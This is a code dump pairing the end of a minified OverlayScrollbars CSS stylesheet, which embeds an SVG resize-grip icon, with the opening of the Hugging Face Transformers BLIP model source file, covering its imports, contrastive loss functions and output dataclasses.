0}#os-dummy-scrollbar-size:before,#os-dummy-scrollbar-size:after,.os-content:before,.os-content:after{content:'';display:table;width:.01px;height:.01px;line-height:0;font-size:0;flex-grow:0;flex-shrink:0;visibility:hidden}#os-dummy-scrollbar-size,.os-viewport{-ms-overflow-style:scrollbar!important}.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size,.os-viewport-native-scrollbars-invisible.os-viewport{scrollbar-width:none!important}.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size::-webkit-scrollbar,.os-viewport-native-scrollbars-invisible.os-viewport::-webkit-scrollbar,.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size::-webkit-scrollbar-corner,.os-viewport-native-scrollbars-invisible.os-viewport::-webkit-scrollbar-corner{display:none!important;width:0!important;height:0!important;visibility:hidden!important;background:0 0!important}.os-content-glue{box-sizing:inherit;max-height:100%;max-width:100%;width:100%;pointer-events:none}.os-padding{box-sizing:inherit;direction:inherit;position:absolute;overflow:visible;padding:0;margin:0;left:0;top:0;bottom:0;right:0;width:auto!important;height:auto!important;z-index:0}.os-host-overflow>.os-padding{overflow:hidden}.os-viewport{direction:inherit!important;box-sizing:inherit!important;resize:none!important;outline:0!important;position:absolute;overflow:hidden;top:0;left:0;bottom:0;right:0;padding:0;margin:0;-webkit-overflow-scrolling:touch}.os-content-arrange{position:absolute;z-index:-1;min-height:1px;min-width:1px;pointer-events:none}.os-content{direction:inherit;box-sizing:border-box!important;position:relative;display:block;height:100%;width:100%;height:100%;width:100%;visibility:visible}.os-content>.os-textarea{box-sizing:border-box!important;direction:inherit!important;background:0 0!important;outline:0 transparent!important;overflow:hidden!important;position:absolute!important;display:block!important;top:0!important;left:0!important;margin:0!important;border-radius:0!important;float:none!important;-webkit-filter:none!important;filter:none!important;border:0!important;resize:none!important;-webkit-transform:none!important;transform:none!important;max-width:none!important;max-height:none!important;box-shadow:none!important;-webkit-perspective:none!important;perspective:none!important;opacity:1!important;z-index:1!important;clip:auto!important;vertical-align:baseline!important;padding:0}.os-host-rtl>.os-padding>.os-viewport>.os-content>.os-textarea{right:0!important}.os-content>.os-textarea-cover{z-index:-1;pointer-events:none}.os-content>.os-textarea[wrap=off]{white-space:pre!important;margin:0!important}.os-text-inherit{font-family:inherit;font-size:inherit;font-weight:inherit;font-style:inherit;font-variant:inherit;text-transform:inherit;text-decoration:inherit;text-indent:inherit;text-align:inherit;text-shadow:inherit;text-overflow:inherit;letter-spacing:inherit;word-spacing:inherit;line-height:inherit;unicode-bidi:inherit;direction:inherit;color:inherit;cursor:text}.os-resize-observer,.os-resize-observer-host{box-sizing:inherit;display:block;visibility:hidden;position:absolute;top:0;left:0;height:100%;width:100%;overflow:hidden;pointer-events:none;z-index:-1}.os-resize-observer-host{padding:inherit;border:inherit;border-color:transparent;border-style:solid;box-sizing:border-box}.os-resize-observer-host.observed{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start}.os-resize-observer-host>.os-resize-observer,.os-resize-observer-host.observed>.os-resize-observer{height:200%;width:200%;padding:inherit;border:inherit;margin:0;display:block;box-sizing:content-box}.os-resize-observer-host.observed>.os-resize-observer,.os-resize-observer-host.observed>.os-resize-observer:before{display:flex;position:relative;flex-grow:1;flex-shrink:0;flex-basis:auto;box-sizing:border-box}.os-resize-observer-host.observed>.os-resize-observer:before{content:'';box-sizing:content-box;padding:inherit;border:inherit;margin:0}.os-size-auto-observer{box-sizing:inherit!important;height:100%;width:inherit;max-width:1px;position:relative;float:left;max-height:1px;overflow:hidden;z-index:-1;padding:0;margin:0;pointer-events:none;-webkit-box-flex:inherit;-ms-flex-positive:inherit;flex-grow:inherit;-ms-flex-negative:0;flex-shrink:0;-ms-flex-preferred-size:0;flex-basis:0}.os-size-auto-observer>.os-resize-observer{width:1000%;height:1000%;min-height:1px;min-width:1px}.os-resize-observer-item{position:absolute;top:0;right:0;bottom:0;left:0;overflow:hidden;z-index:-1;opacity:0;direction:ltr!important;-webkit-box-flex:0!important;-ms-flex:none!important;flex:none!important}.os-resize-observer-item-final{position:absolute;left:0;top:0;-webkit-transition:none!important;transition:none!important;-webkit-box-flex:0!important;-ms-flex:none!important;flex:none!important}.os-resize-observer{-webkit-animation-duration:.001s;animation-duration:.001s;-webkit-animation-name:os-resize-observer-dummy-animation;animation-name:os-resize-observer-dummy-animation}object.os-resize-observer{box-sizing:border-box!important}@-webkit-keyframes os-resize-observer-dummy-animation{0%{z-index:0}to{z-index:-1}}@keyframes os-resize-observer-dummy-animation{0%{z-index:0}to{z-index:-1}}.os-host-transition>.os-scrollbar,.os-host-transition>.os-scrollbar-corner{-webkit-transition:opacity .3s,visibility .3s,top .3s,right .3s,bottom .3s,left .3s;transition:opacity .3s,visibility .3s,top .3s,right .3s,bottom .3s,left .3s}html.os-html>.os-host>.os-scrollbar{position:absolute;z-index:999999}.os-scrollbar,.os-scrollbar-corner{position:absolute;opacity:1;-ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=100)';z-index:1}.os-scrollbar-corner{bottom:0;right:0}.os-scrollbar{pointer-events:none}.os-scrollbar-track{pointer-events:auto;position:relative;height:100%;width:100%;padding:0!important;border:0!important}.os-scrollbar-handle{pointer-events:auto;position:absolute;width:100%;height:100%}.os-scrollbar-handle-off,.os-scrollbar-track-off{pointer-events:none}.os-scrollbar.os-scrollbar-unusable,.os-scrollbar.os-scrollbar-unusable *{pointer-events:none!important}.os-scrollbar.os-scrollbar-unusable .os-scrollbar-handle{opacity:0!important}.os-scrollbar-horizontal{bottom:0;left:0}.os-scrollbar-vertical{top:0;right:0}.os-host-rtl>.os-scrollbar-horizontal{right:0}.os-host-rtl>.os-scrollbar-vertical{right:auto;left:0}.os-host-rtl>.os-scrollbar-corner{right:auto;left:0}.os-scrollbar-auto-hidden,.os-padding+.os-scrollbar-corner,.os-host-resize-disabled.os-host-scrollbar-horizontal-hidden>.os-scrollbar-corner,.os-host-scrollbar-horizontal-hidden>.os-scrollbar-horizontal,.os-host-resize-disabled.os-host-scrollbar-vertical-hidden>.os-scrollbar-corner,.os-host-scrollbar-vertical-hidden>.os-scrollbar-vertical,.os-scrollbar-horizontal.os-scrollbar-auto-hidden+.os-scrollbar-vertical+.os-scrollbar-corner,.os-scrollbar-horizontal+.os-scrollbar-vertical.os-scrollbar-auto-hidden+.os-scrollbar-corner,.os-scrollbar-horizontal.os-scrollbar-auto-hidden+.os-scrollbar-vertical.os-scrollbar-auto-hidden+.os-scrollbar-corner{opacity:0;visibility:hidden;pointer-events:none}.os-scrollbar-corner-resize-both{cursor:nwse-resize}.os-host-rtl>.os-scrollbar-corner-resize-both{cursor:nesw-resize}.os-scrollbar-corner-resize-horizontal{cursor:ew-resize}.os-scrollbar-corner-resize-vertical{cursor:ns-resize}.os-dragging .os-scrollbar-corner.os-scrollbar-corner-resize{cursor:default}.os-host-resize-disabled.os-host-scrollbar-horizontal-hidden>.os-scrollbar-vertical{top:0;bottom:0}.os-host-resize-disabled.os-host-scrollbar-vertical-hidden>.os-scrollbar-horizontal,.os-host-rtl.os-host-resize-disabled.os-host-scrollbar-vertical-hidden>.os-scrollbar-horizontal{right:0;left:0}.os-scrollbar:hover,.os-scrollbar-corner.os-scrollbar-corner-resize{opacity:1!important;visibility:visible!important}.os-scrollbar-corner.os-scrollbar-corner-resize{background-image:url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+PHN2ZyAgIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgICB4bWxuczpjYz0iaHR0cDovL2NyZWF0aXZlY29tbW9ucy5vcmcvbnMjIiAgIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIgICB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiAgIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgICB3aWR0aD0iMTAiICAgaGVpZ2h0PSIxMCIgICB2ZXJzaW9uPSIxLjEiPiAgPGcgICAgIHRyYW5zZm9ybT0idHJhbnNsYXRlKDAsLTEwNDIuMzYyMikiICAgICBzdHlsZT0iZGlzcGxheTppbmxpbmUiPiAgICA8cGF0aCAgICAgICBzdHlsZT0iZmlsbDojMDAwMDAwO2ZpbGwtb3BhY2l0eTowLjQ5NDExNzY1O2ZpbGwtcnVsZTpldmVub2RkO3N0cm9rZTpub25lIiAgICAgICBkPSJtIDcuNDI0MjE4NywxMDQyLjM2MjIgYyAtMC43MjM1NzkyLDAgLTEuMzEwMTU2MiwwLjU4NjYgLTEuMzEwMTU2MiwxLjMxMDIgMCwwLjI5OSAwLjEwNDM0MTksMC41NzEgMC4yNzI5NDkyLDAuNzkxNSAwLjIwOTEwMjQsMC4xNDEzIDAuNDY1NjIwNiwwLjIxODQgMC43MzY5NjI5LDAuMjE4NCAwLjcyMzU3OTMsMCAxLjMxMDE1NjMsLTAuNTg2NiAxLjMxMDE1NjMsLTEuMzEwMiAwLC0wLjI3MTMgLTAuMDc3MDkzLC0wLjUyNzggLTAuMjE4MzU5NCwtMC43MzcgLTAuMjIwNDk0MSwtMC4xNjg2IC0wLjQ5MjU0NDMsLTAuMjcyOSAtMC43OTE1NTI4LC0wLjI3MjkgeiBtIDAsMy4wODQzIGMgLTAuNzIzNTc5MiwwIC0xLjMxMDE1NjIsMC41ODY2IC0xLjMxMDE1NjIsMS4zMTAyIDAsMC4yOTkgMC4xMDQzNDE5LDAuNTcxIDAuMjcyOTQ5MiwwLjc5MTUgMC4yMDkxMDI0LDAuMTQxMyAwLjQ2NTYyMDYsMC4yMTg0IDAuNzM2OTYyOSwwLjIxODQgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjYgMS4zMTAxNTYzLC0xLjMxMDIgMCwtMC4yNzEzIC0wLjA3NzA5MywtMC41Mjc4IC0wLjIxODM1OTQsLTAuNzM2OSAtMC4yMjA0OTQxLC0wLjE2ODYgLTAuNDkyNTQ0MywtMC4yNzMgLTAuNzkxNTUyOCwtMC4yNzMgeiBtIC0zLjA4NDMyNjEsMCBjIC0wLjcyMzU3OTMsMCAtMS4zMTAxNTYzLDAuNTg2NiAtMS4zMTAxNTYzLDEuMzEwMiAwLDAuMjk5IDAuMTA0MzQxOSwwLjU3MSAwLjI3Mjk0OTIsMC43OTE1IDAuMjA5MTAyNCwwLjE0MTMgMC40NjU2MjA3LDAuMjE4NCAwLjczNjk2MjksMC4yMTg0IDAuNzIzNTc5MywwIDEuMzEwMTU2MywtMC41ODY2IDEuMzEwMTU2MywtMS4zMTAyIDAsLTAuMjcxMyAtMC4wNzcwOTMsLTAuNTI3OCAtMC4yMTgzNTk0LC0wLjczNjkgLTAuMjIwNDk0LC0wLjE2ODYgLTAuNDkyNTQ0MiwtMC4yNzMgLTAuNzkxNTUyNywtMC4yNzMgeiBtIC0zLjAyOTczNjQsMy4wMjk4IEMgMC41ODY1NzY5MywxMDQ4LjQ3NjMgMCwxMDQ5LjA2MjggMCwxMDQ5Ljc4NjQgYyAwLDAuMjk5IDAuMTA0MzQxOSwwLjU3MTEgMC4yNzI5NDkyMiwwLjc5MTYgMC4yMDkxMDIyOSwwLjE0MTIgMC40NjU2MjA2NSwwLjIxODMgMC43MzY5NjI4OCwwLjIxODMgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjUgMS4zMTAxNTYzLC0xLjMxMDEgMCwtMC4yNzE0IC0wLjA3NzA5MywtMC41Mjc5IC0wLjIxODM1OTQsLTAuNzM3IC0wLjIyMDQ5NDEsLTAuMTY4NiAtMC40OTI1NDQzLC0wLjI3MjkgLTAuNzkxNTUyOCwtMC4yNzI5IHogbSAzLjAyOTczNjQsMCBjIC0wLjcyMzU3OTMsMCAtMS4zMTAxNTYzLDAuNTg2NSAtMS4zMTAxNTYzLDEuMzEwMSAwLDAuMjk5IDAuMTA0MzQxOSwwLjU3MTEgMC4yNzI5NDkyLDAuNzkxNiAwLjIwOTEwMjQsMC4xNDEyIDAuNDY1NjIwNywwLjIxODMgMC43MzY5NjI5LDAuMjE4MyAwLjcyMzU3OTMsMCAxLjMxMDE1NjMsLTAuNTg2NSAxLjMxMDE1NjMsLTEuMzEwMSAwLC0wLjI3MTQgLTAuMDc3MDkzLC0wLjUyNzkgLTAuMjE4MzU5NCwtMC43MzcgLTAuMjIwNDk0LC0wLjE2ODYgLTAuNDkyNTQ0MiwtMC4yNzI5IC0wLjc5MTU1MjcsLTAuMjcyOSB6IG0gMy4wODQzMjYxLDAgYyAtMC43MjM1NzkyLDAgLTEuMzEwMTU2MiwwLjU4NjUgLTEuMzEwMTU2MiwxLjMxMDEgMCwwLjI5OSAwLjEwNDM0MTksMC41NzExIDAuMjcyOTQ5MiwwLjc5MTYgMC4yMDkxMDI0LDAuMTQxMiAwLjQ2NTYyMDYsMC4yMTgzIDAuNzM2OTYyOSwwLjIxODMgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjUgMS4zMTAxNTYzLC0xLjMxMDEgMCwtMC4yNzE0IC0wLjA3NzA5MywtMC41Mjc5IC0wLjIxODM1OTQsLTAuNzM3IC0wLjIyMDQ5NDEsLTAuMTY4NiAtMC40OTI1NDQzLC0wLjI3MjkgLTAuNzkxNTUyOCwtMC4yNzI5IHoiLz4gIDwvZz4gIDxnICAgICBzdHlsZT0iZGlzcGxheTppbmxpbmUiPiAgICA8cGF0aCAgICAgICBzdHlsZT0iZmlsbDojZmZmZmZmO2ZpbGwtb3BhY2l0eToxO2ZpbGwtcnVsZTpldmVub2RkO3N0cm9rZTpub25lIiAgICAgICBkPSJtIDguMjE1NzcxNSwwLjI3Mjk0OTIyIGMgMC4xNDEyNjY3LDAuMjA5MTAyMjkgMC4yMTgzNTk0LDAuNDY1NjIwNjUgMC4yMTgzNTk0LDAuNzM2OTYyODggMCwwLjcyMzU3OTMgLTAuNTg2NTc3LDEuMzEwMTU2MyAtMS4zMTAxNTYzLDEuMzEwMTU2MyAtMC4yNzEzNDIzLDAgLTAuNTI3ODYwNSwtMC4wNzcwOTMgLTAuNzM2OTYyOSwtMC4yMTgzNTk0IDAuMjM5NDEwNCwwLjMxMzA4NTkgMC42MTI2MzYyLDAuNTE4NjAzNSAxLjAzNzIwNywwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDc2IC0wLjIwNTUxNzYsLTAuNzk3Nzk2NTkgLTAuNTE4NjAzNSwtMS4wMzcyMDY5OCB6IG0gMCwzLjA4NDMyNjE4IGMgMC4xNDEyNjY3LDAuMjA5MTAyMyAwLjIxODM1OTQsMC40NjU2MjA2IDAuMjE4MzU5NCwwLjczNjk2MjkgMCwwLjcyMzU3OTMgLTAuNTg2NTc3LDEuMzEwMTU2MiAtMS4zMTAxNTYzLDEuMzEwMTU2MiAtMC4yNzEzNDIzLDAgLTAuNTI3ODYwNSwtMC4wNzcwOTMgLTAuNzM2OTYyOSwtMC4yMTgzNTkzIDAuMjM5NDEwNCwwLjMxMzA4NTkgMC42MTI2MzYyLDAuNTE4NjAzNSAxLjAzNzIwNywwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NiwtMC43OTc3OTY3IC0wLjUxODYwMzUsLTEuMDM3MjA3IHogbSAtMy4wODQzMjYyLDAgYyAwLjE0MTI2NjcsMC4yMDkxMDIzIDAuMjE4MzU5NCwwLjQ2NTYyMDYgMC4yMTgzNTk0LDAuNzM2OTYyOSAwLDAuNzIzNTc5MyAtMC41ODY1NzcsMS4zMTAxNTYyIC0xLjMxMDE1NjMsMS4zMTAxNTYyIC0wLjI3MTM0MjIsMCAtMC41Mjc4NjA1LC0wLjA3NzA5MyAtMC43MzY5NjI5LC0wLjIxODM1OTMgMC4yMzk0MTA0LDAuMzEzMDg1OSAwLjYxMjYzNjMsMC41MTg2MDM1IDEuMDM3MjA3MSwwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYyLC0wLjU4NjU3NyAxLjMxMDE1NjIsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NSwtMC43OTc3OTY3IC0wLjUxODYwMzUsLTEuMDM3MjA3IHogTSAyLjEwMTcwOSw2LjM4NzAxMTcgYyAwLjE0MTI2NjcsMC4yMDkxMDI0IDAuMjE4MzU5NCwwLjQ2NTYyMDYgMC4yMTgzNTk0LDAuNzM2OTYyOSAwLDAuNzIzNTc5MyAtMC41ODY1NzcsMS4zMTAxNTYzIC0xLjMxMDE1NjMsMS4zMTAxNTYzIC0wLjI3MTM0MjIzLDAgLTAuNTI3ODYwNTksLTAuMDc3MDkzIC0wLjczNjk2Mjg4LC0wLjIxODM1OTQgMC4yMzk0MTAzOSwwLjMxMzA4NTkgMC42MTI2MzYyMiwwLjUxODYwMzUgMS4wMzcyMDY5OCwwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NiwtMC43OTc3OTY2IC0wLjUxODYwMzUsLTEuMDM3MjA3IHogbSAzLjAyOTczNjMsMCBjIDAuMTQxMjY2NywwLjIwOTEwMjQgMC4yMTgzNTk0LDAuNDY1NjIwNiAwLjIxODM1OTQsMC43MzY5NjI5IDAsMC43MjM1NzkzIC0wLjU4NjU3NywxLjMxMDE1NjMgLTEuMzEwMTU2MywxLjMxMDE1NjMgLTAuMjcxMzQyMiwwIC0wLjUyNzg2MDUsLTAuMDc3MDkzIC0wLjczNjk2MjksLTAuMjE4MzU5NCAwLjIzOTQxMDQsMC4zMTMwODU5IDAuNjEyNjM2MywwLjUxODYwMzUgMS4wMzcyMDcxLDAuNTE4NjAzNSAwLjcyMzU3OTMsMCAxLjMxMDE1NjIsLTAuNTg2NTc3IDEuMzEwMTU2MiwtMS4zMTAxNTYzIDAsLTAuNDI0NTcwOCAtMC4yMDU1MTc1LC0wLjc5Nzc5NjYgLTAuNTE4NjAzNSwtMS4wMzcyMDcgeiBtIDMuMDg0MzI2MiwwIGMgMC4xNDEyNjY3LDAuMjA5MTAyNCAwLjIxODM1OTQsMC40NjU2MjA2IDAuMjE4MzU5NCwwLjczNjk2MjkgMCwwLjcyMzU3OTMgLTAuNTg2NTc3LDEuMzEwMTU2MyAtMS4zMTAxNTYzLDEuMzEwMTU2MyAtMC4yNzEzNDIzLDAgLTAuNTI3ODYwNSwtMC4wNzcwOTMgLTAuNzM2OTYyOSwtMC4yMTgzNTk0IDAuMjM5NDEwNCwwLjMxMzA4NTkgMC42MTI2MzYyLDAuNTE4NjAzNSAxLjAzNzIwNywwLjUxODYwMzUgMC43MjM1NzkzLDAgMS4zMTAxNTYzLC0wLjU4NjU3NyAxLjMxMDE1NjMsLTEuMzEwMTU2MyAwLC0wLjQyNDU3MDggLTAuMjA1NTE3NiwtMC43OTc3OTY2IC0wLjUxODYwMzUsLTEuMDM3MjA3IHoiIC8+ICA8L2c+PC9zdmc+);background-repeat:no-repeat;background-position:100% 100%;pointer-events:auto!important}.os-host-rtl>.os-scrollbar-corner.os-scrollbar-corner-resize{-webkit-transform:scale(-1,1);transform:scale(-1,1)}.os-host-overflow{overflow:hidden!important}.os-theme-none>.os-scrollbar-horizontal,.os-theme-none>.os-scrollbar-vertical,.os-theme-none>.os-scrollbar-corner{display:none!important}.os-theme-none>.os-scrollbar-corner-resize{display:block!important;min-width:10px;min-height:10px}.os-theme-dark>.os-scrollbar-horizontal,.os-theme-light>.os-scrollbar-horizontal{right:10px;height:10px}.os-theme-dark>.os-scrollbar-vertical,.os-theme-light>.os-scrollbar-vertical{bottom:10px;width:10px}.os-theme-dark.os-host-rtl>.os-scrollbar-horizontal,.os-theme-light.os-host-rtl>.os-scrollbar-horizontal{left:10px;right:0}.os-theme-dark>.os-scrollbar-corner,.os-theme-light>.os-scrollbar-corner{height:10px;width:10px}.os-theme-dark>.os-scrollbar-corner,.os-theme-light>.os-scrollbar-corner{background-color:transparent}.os-theme-dark>.os-scrollbar,.os-theme-light>.os-scrollbar{padding:2px;box-sizing:border-box;background:0 0}.os-theme-dark>.os-scrollbar.os-scrollbar-unusable,.os-theme-light>.os-scrollbar.os-scrollbar-unusable{background:0 0}.os-theme-dark>.os-scrollbar>.os-scrollbar-track,.os-theme-light>.os-scrollbar>.os-scrollbar-track{background:0 0}.os-theme-dark>.os-scrollbar-horizontal>.os-scrollbar-track>.os-scrollbar-handle,.os-theme-light>.os-scrollbar-horizontal>.os-scrollbar-track>.os-scrollbar-handle{min-width:30px}.os-theme-dark>.os-scrollbar-vertical>.os-scrollbar-track>.os-scrollbar-handle,.os-theme-light>.os-scrollbar-vertical>.os-scrollbar-track>.os-scrollbar-handle{min-height:30px}.os-theme-dark.os-host-transition>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle,.os-theme-light.os-host-transition>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle{-webkit-transition:background-color .3s;transition:background-color .3s}.os-theme-dark>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle,.os-theme-light>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle,.os-theme-dark>.os-scrollbar>.os-scrollbar-track,.os-theme-light>.os-scrollbar>.os-scrollbar-track{border-radius:10px}.os-theme-dark>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle{background:rgba(0,0,0,.4)}.os-theme-light>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle{background:rgba(255,255,255,.4)}.os-theme-dark>.os-scrollbar:hover>.os-scrollbar-track>.os-scrollbar-handle{background:rgba(0,0,0,.55)}.os-theme-light>.os-scrollbar:hover>.os-scrollbar-track>.os-scrollbar-handle{background:rgba(255,255,255,.55)}.os-theme-dark>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle.active{background:rgba(0,0,0,.7)}.os-theme-light>.os-scrollbar>.os-scrollbar-track>.os-scrollbar-handle.active{background:rgba(255,255,255,.7)}.os-theme-dark>.os-scrollbar-horizontal .os-scrollbar-handle:before,.os-theme-dark>.os-scrollbar-vertical .os-scrollbar-handle:before,.os-theme-light>.os-scrollbar-horizontal .os-scrollbar-handle:before,.os-theme-light>.os-scrollbar-vertical .os-scrollbar-handle:before{content:'';position:absolute;left:0;right:0;top:0;bottom:0;display:block}.os-theme-dark.os-host-scrollbar-horizontal-hidden>.os-scrollbar-horizontal .os-scrollbar-handle:before,.os-theme-dark.os-host-scrollbar-vertical-hidden>.os-scrollbar-vertical .os-scrollbar-handle:before,.os-theme-light.os-host-scrollbar-horizontal-hidden>.os-scrollbar-horizontal .os-scrollbar-handle:before,.os-theme-light.os-host-scrollbar-vertical-hidden>.os-scrollbar-vertical .os-scrollbar-handle:before{display:none}.os-theme-dark>.os-scrollbar-horizontal .os-scrollbar-handle:before,.os-theme-light>.os-scrollbar-horizontal .os-scrollbar-handle:before{top:-6px;bottom:-2px}.os-theme-dark>.os-scrollbar-vertical .os-scrollbar-handle:before,.os-theme-light>.os-scrollbar-vertical .os-scrollbar-handle:before{left:-6px;right:-2px}.os-host-rtl.os-theme-dark>.os-scrollbar-vertical .os-scrollbar-handle:before,.os-host-rtl.os-theme-light>.os-scrollbar-vertical .os-scrollbar-handle:before{right:-6px;left:-2px} |
27182812/ChatGLM-LLaMA-chinese-insturct | 62,135 | src/transformers/models/blip/modeling_blip.py | # coding=utf-8
# Copyright 2022 The Salesforce Team Authors and The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" PyTorch BLIP model."""
from dataclasses import dataclass
from typing import Any, Optional, Tuple, Union
import torch
import torch.utils.checkpoint
from torch import nn
from torch.nn.functional import normalize
from ...activations import ACT2FN
from ...modeling_outputs import BaseModelOutput, BaseModelOutputWithPooling
from ...modeling_utils import PreTrainedModel
from ...utils import (
ModelOutput,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
replace_return_docstrings,
)
from .configuration_blip import BlipConfig, BlipTextConfig, BlipVisionConfig
from .modeling_blip_text import BlipTextLMHeadModel, BlipTextModel
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "Salesforce/blip-vqa-base"
BLIP_PRETRAINED_MODEL_ARCHIVE_LIST = [
"Salesforce/blip-vqa-base",
"Salesforce/blip-vqa-capfit-large",
"Salesforce/blip-image-captioning-base",
"Salesforce/blip-image-captioning-large",
"Salesforce/blip-itm-base-coco",
"Salesforce/blip-itm-large-coco",
"Salesforce/blip-itm-base-flikr",
"Salesforce/blip-itm-large-flikr",
# See all BLIP models at https://huggingface.co/models?filter=blip
]
# Copied from transformers.models.clip.modeling_clip.contrastive_loss
def contrastive_loss(logits: torch.Tensor) -> torch.Tensor:
return nn.functional.cross_entropy(logits, torch.arange(len(logits), device=logits.device))
# Copied from transformers.models.clip.modeling_clip.clip_loss with clip->blip
def blip_loss(similarity: torch.Tensor) -> torch.Tensor:
caption_loss = contrastive_loss(similarity)
image_loss = contrastive_loss(similarity.t())
return (caption_loss + image_loss) / 2.0
@dataclass
class BlipForConditionalGenerationModelOutput(ModelOutput):
"""
Adapted from the base class for vision model's outputs that also contains image embeddings of the pooling of the
last hidden states. This class also adds the loss term from the text decoder.
Args:
loss (`torch.FloatTensor`, *optional*, returned when `labels` is provided, `torch.FloatTensor` of shape `(1,)`):
Languge modeling loss from the text decoder.
decoder_logits (`torch.FloatTensor` of shape `(batch_size, sequence_length, config.vocab_size)`, *optional*):
Prediction scores of the language modeling head of the text decoder model.
image_embeds (`torch.FloatTensor` of shape `(batch_size, output_dim)`, *optional*):
The image embeddings obtained after applying the Vision Transformer model to the input image.
last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the model.
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings, if the model has an embedding layer, +
one for the output of each layer) of shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the optional initial embedding outputs.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[Tuple[torch.FloatTensor]] = None
decoder_logits: Optional[Tuple[torch.FloatTensor]] = None
image_embeds: Optional[torch.FloatTensor] = None
last_hidden_state: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class BlipTextVisionModelOutput(ModelOutput):
"""
Adapted from the base class for vision model's outputs that also contains image embeddings of the pooling of the
last hidden states. This class also adds the loss term from the text decoder.
Args:
loss (`torch.FloatTensor` of shape `(1,)`, *optional*, returned when `labels` is provided):
Languge modeling loss from the text decoder.
image_embeds (`torch.FloatTensor` of shape `(batch_size, output_dim)` *optional* returned when model is initialized with `with_projection=True`):
The image embeddings obtained by applying the projection layer to the pooler_output.
last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the model.
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings, if the model has an embedding layer, +
one for the output of each layer) of shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the optional initial embedding outputs.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
image_embeds: Optional[torch.FloatTensor] = None
last_hidden_state: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class BlipImageTextMatchingModelOutput(ModelOutput):
"""
Adapted from the base class for vision model's outputs that also contains image embeddings of the pooling of the
last hidden states. This class also adds the loss term from the text decoder as well as the image-text similarity
scores.
Args:
itm_score (`torch.FloatTensor`):
The image-text similarity scores.
loss (`torch.FloatTensor` of shape `(1,)`, *optional*, returned when `labels` is provided):
Languge modeling loss from the text decoder.
image_embeds (`torch.FloatTensor` of shape `(batch_size, output_dim)` *optional* returned when model is initialized with `with_projection=True`):
The image embeddings obtained by applying the projection layer to the pooler_output.
last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`):
Sequence of hidden-states at the output of the last layer of the model.
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
